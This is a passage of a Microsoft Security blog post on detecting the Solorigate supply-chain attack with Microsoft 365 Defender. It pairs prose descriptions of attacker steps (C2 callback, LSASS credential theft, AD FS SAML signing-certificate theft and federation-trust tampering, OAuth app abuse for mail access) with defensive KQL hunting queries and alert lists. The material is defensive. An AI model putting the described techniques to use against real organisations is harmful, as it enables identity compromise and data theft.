CloudAppEvents
| where Application == “Office 365”
| where ActionType == “Add service principal credentials.” or ActionType == “Update application – Certificates and secrets management “
| extend spnID = tostring(RawEventData.Target[3].ID)
| project AddSecretTime = Timestamp, AccountDisplayName , spnID
) on spnID
| where ConsentTime < AddSecretTime and AccountDisplayName <> AccountDisplayName1

Microsoft 356 Defender advanced hunting can also assist in many of the recommended incident investigation tasks outlined in the blog, Advice for incident responders on recovery from systemic identity compromises.

In the remaining sections, we will discuss select examples of alerts raised by Microsoft 365 solutions that monitor and detect Solorigate activities across the attack chain on endpoint, identity, and the cloud. These are alerts you may encounter when investigating incidents in Microsoft 365 security center if your organization is affected by this threat. We will also indicate activities which are now blocked by Microsoft 365 Defender. Lastly, each section contains examples of hunting queries you will find useful for hunting for various attacker activities in your environment.

Detecting and blocking malware and malicious behavior on endpoints

Figure 7. Solorigate attack chain: Initial access and command-and-control

Discovering and blocking backdoor activity

When the compromised SolarWinds binary SolarWinds.Orion.Core.BusinessLayer.dll gets loaded on a device through normal update channels, the backdoor goes through an extensive list of checks to ensure it’s running in an actual enterprise network and not on an analyst’s machine. It then contacts a command-and-control (C2) server using a subdomain that is generated partly with information gathered from the affected device, which means a unique subdomain is generated for each affected domain. The backdoor allows the attackers to remotely run commands on the device and move to the next stages of the attack. For more information, read our in-depth analysis of the Solorigate malware.

Microsoft Defender for Endpoint delivers comprehensive protection against this threat (see full list of detection and protection alerts at the end of this blog). Microsoft Defender Antivirus, the default antimalware solution on Windows 10, detects and blocks the malicious DLL and its behaviors. It quarantines the malware, even if the process is running.

Figure 8. Microsoft Defender for Endpoint blocks malicious binaries

If the malicious code is successfully deployed, the backdoor lies dormant for up to two weeks. It then attempts to contact numerous C2 domains, with the primary domain being *.avsvmcloud[.]com. The backdoor uses a domain generation algorithm to evade detection. Microsoft 365 Defender detects and blocks this behavior.

Figure 9. Microsoft Defender for Endpoint prevented malicious C2 callback

Discovering potentially tampered devices

To evade security software and analyst tools, the Solorigate malware enumerates the target system looking for certain running processes, loaded drivers, and registry keys, with the goal of disabling them.

The Microsoft Defender for Endpoint sensor is one of the processes the malware attempts to disable. Microsoft Defender for Endpoint has built-in protections against many techniques attackers use to disable endpoint sensors ranging from hardened OS protection, anti-tampering policies, and detections for a variety of tampering attempts, including “Attempt to stop Microsoft Defender for Endpoint sensor”, “Tampering with Microsoft Defender for Endpoint sensor settings”, or “Possible sensor tampering in memory”.

Successfully disabling Microsoft Defender for Endpoint can prevent the system from reporting observed activities. However, the multitude of signals reported into Microsoft 365 Defender provides a unique opportunity to hunt for systems where the tampering technique used might have been successful. The following advanced hunting query can be used to locate devices that should be reporting but aren’t:

// Times to be modified as appropriate
let timeAgo=1d;
let silenceTime=8h;
// Get all silent devices and IPs from network events
let allNetwork=materialize(DeviceNetworkEvents
| where Timestamp > ago(timeAgo)
and isnotempty(LocalIP)
and isnotempty(RemoteIP)
and ActionType in (“ConnectionSuccess”, “InboundConnectionAccepted”)
and LocalIP !in (“127.0.0.1”, “::1”)
| project DeviceId, Timestamp, LocalIP, RemoteIP, ReportId);
let nonSilentDevices=allNetwork
| where Timestamp > ago(silenceTime)
| union (DeviceProcessEvents | where Timestamp > ago(silenceTime))
| summarize by DeviceId;
let nonSilentIPs=allNetwork
| where Timestamp > ago(silenceTime)
| summarize by LocalIP;
let silentDevices=allNetwork
| where DeviceId !in (nonSilentDevices)
and LocalIP !in (nonSilentIPs)
| project DeviceId, LocalIP, Timestamp, ReportId;
// Get all remote IPs that were recently active
let addressesDuringSilence=allNetwork
| where Timestamp > ago(silenceTime)
| summarize by RemoteIP;
// Potentially disconnected devices were connected but are silent
silentDevices
| where LocalIP in (addressesDuringSilence)
| summarize ReportId=arg_max(Timestamp, ReportId), Timestamp=max(Timestamp), LocalIP=arg_max(Timestamp, LocalIP) by DeviceId
| project DeviceId, ReportId=ReportId1, Timestamp, LocalIP=LocalIP1

Microsoft is continuously developing additional measures to both block and alert on these types of tampering activities.

Detecting hands-on-keyboard activity within an on-premises environment

Figure 11. Solorigate attack chain: Hands-on-keyboard attack on premises

After establishing a backdoor connection on an affected device, the attacker’s next goal is to achieve off-premises access to the organization’s cloud services. To do this, they must find a way to gain permissions to those services. One technique we have seen the attackers use is to go after the organization’s Active Directory Federation Services (AD FS) server to obtain the proverbial “keys” to the identity kingdom. AD FS enables federated identity and access management by securely sharing digital identity and entitlement rights across security and enterprise boundaries; effectively, it is the “LSASS for the cloud.” Among other things, AD FS stores the Security Assertion Markup Language (SAML) token signing certificate, which is used to create authorization tokens for users or services in the organization so they can access cloud applications and resources after authentication.

To attack the AD FS infrastructure, the attackers must first obtain appropriate domain permissions through on-premises intelligence gathering, lateral movement, and credential theft. Building from the backdoor described above, the attackers leverage fileless techniques for privilege escalation, persistence, and lateral movement, including evading analysis by using system binaries and exploration tools that masquerade as other benign binaries. The attackers also carefully chose organization-specific command-and-control (C2) domains and use custom organization-specific tool naming and locations.

Microsoft Defender for Endpoint detects a wide array of these attack techniques, allowing SOC teams to track the attacker’s actions in the environment and take actions to contain the attack. The following section covers detections for the techniques used by the attackers to compromise the AD FS infrastructure.

Identifying attacker reconnaissance

Attackers collect data from Active Directory using a renamed version of the utility ADFind, running queries against Domain Controllers as part of the reconnaissance stage of the attack. Microsoft Defender for Endpoint detects this behavior and allows the SOC analyst to track compromised devices at this stage to gain visibility into the information the attacker is looking for.

Figure 12. Microsoft Defender for Endpoint detects usage of masquerading exploration tools

Figure 13. Microsoft Defender for Endpoint detects usage LDAP query for reconnaissance.

Stopping lateral movement and credential theft

To gain access to a highly privileged account needed for later steps in the kill chain, the attackers move laterally between devices and dump credentials until an account with the needed privileges is compromised, all while remaining as stealthy as possible.

A variety of credential theft methods, such as dumping LSASS memory, are detected and blocked by Microsoft Defender for Endpoint. The example below shows the detection of lateral movement using Windows Management Instrumentation (WMI) to run the attacker’s payload using the Rundll32.exe process.

Figure 14. Microsoft Defender for Endpoint alert for suspicious remote WMI execution highlighting the attacker’s device and payload

Microsoft Defender for Identity also detects and raises alerts on a variety of credential theft techniques. In addition to watching for alerts, security analysts can hunt across identity data in Microsoft 365 Defender for signs of identity compromise. Here are a couple of example Microsoft Defender for Identity queries looking for such patterns:

Enumeration of high-value DC assets followed by logon attempts to validate stolen credentials in time proximity

let MaxTime = 1d;
let MinNumberLogon = 5;
//devices attempting enumeration of high-value DC
IdentityQueryEvents
| where Timestamp > ago(30d)
| where Application == “Active Directory”
| where QueryTarget in (“Read-only Domain Controllers”)
//high-value RODC assets
| project Timestamp, Protocol, Query, DeviceName, AccountUpn
| join kind = innerunique (
//devices trying to logon {MaxTime} after enumeration
IdentityLogonEvents
| where Timestamp > ago(30d)
| where ActionType == “LogonSuccess”
| project LogonTime = Timestamp, DeviceName, DestinationDeviceName) on DeviceName
| where LogonTime between (Timestamp .. (Timestamp + MaxTime))
| summarize n=dcount(DestinationDeviceName), TargetedDC = makeset(DestinationDeviceName) by Timestamp, Protocol, DeviceName
| where n >= MinNumberLogon

High-volume of LDAP queries in short time filtering for non-DC devices

let Threshold = 12;
let BinTime = 1m;
//approximate list of DC
let listDC=IdentityDirectoryEvents
| where Application == “Active Directory”
| where ActionType == “Directory Services replication”
| summarize by DestinationDeviceName;
IdentityQueryEvents
| where Timestamp > ago(30d)
//filter out LDAP traffic across DC
| where DeviceName !in (listDC)
| where ActionType == “LDAP query”
| parse Query with * “Search Scope: ” SearchScope “, Base Object:” BaseObject “, Search Filter: ” SearchFilter
| summarize NumberOfDistinctLdapQueries = dcount(SearchFilter) by DeviceName, bin(Timestamp, BinTime)
| where NumberOfDistinctLdapQueries > Threshold

At this point, SOC teams can take containment measures within the Microsoft 365 security center, for example, using indicators to isolate the devices involved and block the remotely executed payload across the environment, as well as mark suspect users as compromised.

Detecting and remediating persistence

Microsoft Defender for Endpoint also detects the advanced defense evasion and masquerading techniques used by the attackers to make their actions as close to normal as possible, such as binding a WMI event filter with a logical consumer to remain persistent. Follow the recommended actions in the alert to remove persistence and prevent the attacker’s payload from loading after reboot.

Figure 15. Microsoft Defender for Endpoint alert for WMI event filter bound to a suspicious consumer showing the persistence and the scheduled command line

Catching AD FS compromise and the attacker’s ability to impersonate users in the cloud

The next step in the attack focuses on the AD FS infrastructure and can unfold in two separate paths that lead to the same outcome—the ability to create valid SAML tokens allowing impersonation of users in the cloud:

  • Path 1 – Stealing the SAML signing certificate: After gaining administrative privileges in the organization’s on-premises network, and with access to the AD FS server itself, the attackers access and extract the SAML signing certificate. With this signing certificate, the attackers create valid SAML tokens to access various desired cloud resources as the identity of their choosing.
  • Path 2 – Adding to or modifying existing federation trust: After gaining administrative Azure Active Directory (Azure AD) privileges using compromised credentials, the attackers add their own certificate as a trusted entity in the domain either by adding a new federation trust to an existing tenant or modifying the properties of an existing federation trust. As a result, any SAML token they create and sign will be valid for the identity of their choosing.

In the first path, obtaining the SAML signing certificate normally entails first querying the private encryption key that resides on the AD FS container and then using that key to decrypt the signing certificate. The certificate can then be used to create illicit but valid SAML tokens that allow the actor to impersonate users, enabling them to access enterprise cloud applications and services.

Microsoft Defender for Endpoint and Microsoft Defender for Identity detect the actions that attackers take to steal the encryption key needed to decrypt the SAML signing certificate. Both solutions leverage unique LDAP telemetry to raise high-severity alerts highlighting the attacker’s progress towards creating illicit SAML tokens.

 

Figure 16. Microsoft Defender for Endpoint detects a suspicious LDAP query being launched and an attempted AD FS private key extraction

Figure 17. Microsoft Defender for Identity detects private key extraction via malicious LDAP requests

For the second path, the attackers create their own SAML signing certificate outside of the organization’s environment. With Azure AD administrative permissions, they then add the new certificate as a trusted object. The following advanced hunting query over Azure AD audit logs shows when domain federation settings are changed, helping to discover where the attackers configured the domain to accept authorization tokens signed by their own signing certificate. As these are rare actions, we advise verifying that any instances identified are the result of legitimate administrative activity.

ADFSDomainTrustMods

let auditLookback = 1d; CloudAppEvents
| where Timestamp > ago(auditLookback)
| where ActionType =~ “Set federation settings on domain.”
| extend targetDetails = parse_json(ActivityObjects[1])
| extend targetDisplayName = targetDetails.Name
| extend resultStatus = extractjson(“$.ResultStatus”, tostring(RawEventData), typeof(string))
| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, targetDisplayName, resultStatus, InitiatingIPAddress=IPAddress, UserAgent

If the SAML signing certificate is confirmed to be compromised or the attacker has added a new one, follow the best practices for invalidating through certificate rotation to prevent further use and creation of SAML tokens by the attacker. Additionally, affected AD FS servers may need to be isolated and remediated to ensure no remaining attacker control or persistence.

If the attackers accomplish either path, they gain the ability to create illicit SAML tokens for the identities of their choosing and bypass multifactor authentication (MFA), since the service or application accepting the token assumes MFA is a necessary previous step in creating a properly signed token. To prevent attackers from progressing to the next stage, which is to access cloud resources, the attack should be discovered and remediated at this stage.

Detecting the hands-on-keyboard activity in the cloud environment

Figure 18. Solorigate attack chain: Hands-on-keyboard attack in the cloud

With the ability to create illicit SAML tokens, the attackers can access sensitive data without having to originate from a compromised device or be confined to on-premises persistence. By abusing API access via existing OAuth applications or service principals, they can attempt to blend into the normal pattern of activity, most notably apps or service principals with existing Mail.Read or Mail.ReadWrite permissions to read email content via Microsoft Graph from Exchange Online. If the application does not already have read permissions for emails, then the app may be modified to grant those permissions.

Identifying unusual addition of credentials to an OAuth app

Microsoft Cloud App Security (MCAS) has added new automatic detection of unusual credential additions to an OAuth application to alert SOCs about apps that have been compromised to extract data from the organization. This detection logic is built on an anomaly detection engine that learns from each user in the environment, filtering out normal usage patterns to ensure alerts highlight real attacks and not false positives. If you see this alert in your environment and confirm malicious activity, you should take immediate action to suspend the user, mark the user as compromised, reset the user’s password, and remove the credential additions. You may consider disabling the application during investigation and remediation.

Figure 19. Microsoft Defender Cloud App Security alert for unusual addition of credentials to an OAuth app

SOCs can use the following Microsoft 365 Defender advanced hunting query over Azure AD audit logs to examine when new credentials have been added to a service principle or application. In general, credential changes may be rare depending on the type and use of the service principal or application. SOCs should verify unusual changes with their respective owners to ensure they are the result of legitimate administrative actions.

NewAppOrServicePrincipalCredential

let auditLookback = 1d; CloudAppEvents
| where Timestamp > ago(auditLookback)
| where ActionType in (“Add service principal.”, “Add service principal credentials.”, “Update application – Certificates and secrets management “)
| extend RawEventData = parse_json(RawEventData)
| where RawEventData.ResultStatus =~ “success”
| where AccountDisplayName has “@”
| extend targetDetails = parse_json(ActivityObjects[1])
| extend targetId = targetDetails.Id
| extend targetType = targetDetails.Type
| extend targetDisplayName = targetDetails.Name
| extend keyEvents = RawEventData.ModifiedProperties
| where keyEvents has “KeyIdentifier=” and keyEvents has “KeyUsage=Verify”
| mvexpand keyEvents
| where keyEvents.Name =~ “KeyDescription”
| parse keyEvents.NewValue with * “KeyIdentifier=” keyIdentifier:string “,KeyType=” keyType:string “,KeyUsage=” keyUsage:string “,DisplayName=” keyDisplayName:string “]” *
| parse keyEvents.OldValue with * “KeyIdentifier=” keyIdentifierOld:string “,KeyType” *
| where keyEvents.OldValue == “[]” or keyIdentifier != keyIdentifierOld
| where keyUsage == “Verify”
| project-away keyEvents
| project Timestamp, ActionType, InitiatingUserOrApp=AccountDisplayName, InitiatingIPAddress=IPAddress, UserAgent, targetDisplayName, targetId, targetType, keyDisplayName, keyType, keyUsage, keyIdentifier

Discovering malicious access to mail items

OAuth applications or service principals with Mail.Read or Mail.ReadWrite permissions can read email content from Exchange Online via the Microsoft Graph. To help increase visibility on these behaviors, the MailItemsAccessed action is now available via the new Exchange mailbox advanced audit functionality. See if this feature is enabled by default for you. Important note for customers: If you have customized the list of audit events you are collecting, you may need to manually enable this telemetry.

If more than 1,000 MailItemsAccessed audit records are generated in less than 24 hours, Exchange Online stops generating auditing records for MailItemsAccessed activity for 24 hours and then resumes logging after this period. This throttling behavior is a good starting point for SOCs to discover potentially compromised mailboxes.

MailItemsAccessedThrottling

let starttime = 2d;
let endtime = 1d;
CloudAppEvents
| where Timestamp between (startofday(ago(starttime))..startofday(ago(endtime)))
| where ActionType == “MailItemsAccessed”
| where isnotempty(RawEventData[‘ClientAppId’]) and RawEventData[‘OperationProperties’][1] has “True”
| project Timestamp, RawEventData[‘OrganizationId’],AccountObjectId,UserAgent

In addition to looking for throttled telemetry, you can also hunt for OAuth applications reading mail via the Microsoft Graph API whose behavior has changed prior to a baseline period.

OAuthGraphAPIAnomalies

//Look for OAuth App reading mail via GraphAPI — that did not read mail via graph API in prior week
let appMailReadActivity = (timeframeStart:datetime, timeframeEnd:datetime) {
CloudAppEvents
| where Timestamp between (timeframeStart .. timeframeEnd)
| where ActionType == “MailItemsAccessed”
| where RawEventData has “00000003-0000-0000-c000-000000000000” // performance check
| extend rawData = parse_json(RawEventData)
| extend AppId = tostring(parse_json(rawData.AppId))
| extend OAuthAppId = tostring(parse_json(rawData.ClientAppId)) // extract OAuthAppId
| summarize by OAuthAppId
};
appMailReadActivity(ago(1d),now()) // detection period
| join kind = leftanti appMailReadActivity(ago(7d),ago(2d)) // baseline period
on OAuthAppId

Microsoft 365 Defender’s cross-domain XDR correlation enables stronger response to critical security incidents

Like the rest of the security industry, Microsoft continues to track the Solorigate attack, an active threat that continues to unfold as well as evolve. As part of empowering our customers and the larger security community to respond to this attack through sharing intelligence and providing advice, this blog serves to guide Microsoft 365 customers to take full advantage of the comprehensive visibility and the rich investigation tools available in Microsoft 365 Defender. This blog shows that many of the existing capabilities in Microsoft 365 Defender help address this attack, but the unique scenarios created by the threat resulted in some Solorigate-specific detections and other innovative protections, including ones that are made possible by deeply integrated cross-domain threat defense.

For additional information and further guidance, refer to these Microsoft resources:

Microsoft will continue to provide public information about the patterns and techniques of this attack and related intelligence for customers to defend themselves, in addition to enhancing the protection capabilities of Microsoft security solutions.

 

Appendix: Additional details for detection and hunting Detection details Attack stage Microsoft 365 Defender detection or alert Initial access Microsoft Defender for Endpoint:

  • ‘Solorigate’ high-severity malware was detected/blocked/prevented (Trojan:MSIL/Solorigate.BR!dha)
  • SolarWinds Malicious binaries associated with a supply chain attack
Execution and persistence Microsoft Defender for Endpoint:

Command and Control Microsoft Defender for Endpoint:

Defense evasion Microsoft Defender for Endpoint:

  • Suspicious audit policy tampering
Reconnaissance Microsoft Defender for Endpoint:

  • Masquerading Active Directory exploration tool
  • Suspicious sequence of exploration activities
  • Execution of suspicious known LDAP query fragments
Credential access Microsoft Defender for Endpoint:

  • Suspicious access to LSASS (credential access)
  • AD FS private key extraction attempt
  • Possible attempt to access ADFS key material
  • Suspicious ADFS adapter process created

Microsoft Defender for Identity:

  • Unusual addition of permissions to an OAuth app
  • Active Directory attributes Reconnaissance using LDAP

Microsoft Cloud App Security:

  • Unusual addition of credentials to an OAuth app
Lateral movement Microsoft Defender for Endpoint

  • Suspicious file creation initiated remotely (lateral movement)
  • Suspicious Remote WMI Execution (lateral movement)
Exfiltration Microsoft Defender for Endpoint

  • Suspicious mailbox export or access modification
  • Suspicious archive creation
Advanced hunting queries Attack stage Query link in GitHub repo General Microsoft Defender for Endpoint Threat and Vulnerability Management:

Initial access Microsoft Defender for Endpoint:

Execution Microsoft Defender for Endpoint:

DeviceProcessEvents
| where InitiatingProcessFileName =~”Microsoft.IdentityServer.ServiceHost.exe”
| where FileName in~(“werfault.exe”, “csc.exe”)
| where ProcessCommandLine !contains (“nameId”)

Command and Control Microsoft Defender for Endpoint

Credential access Azure Active Directory (Microsoft Cloud App Security):

Exfiltration Exchange Online (Microsoft Cloud App Security):

The post Using Microsoft 365 Defender to protect against Solorigate appeared first on Microsoft Security.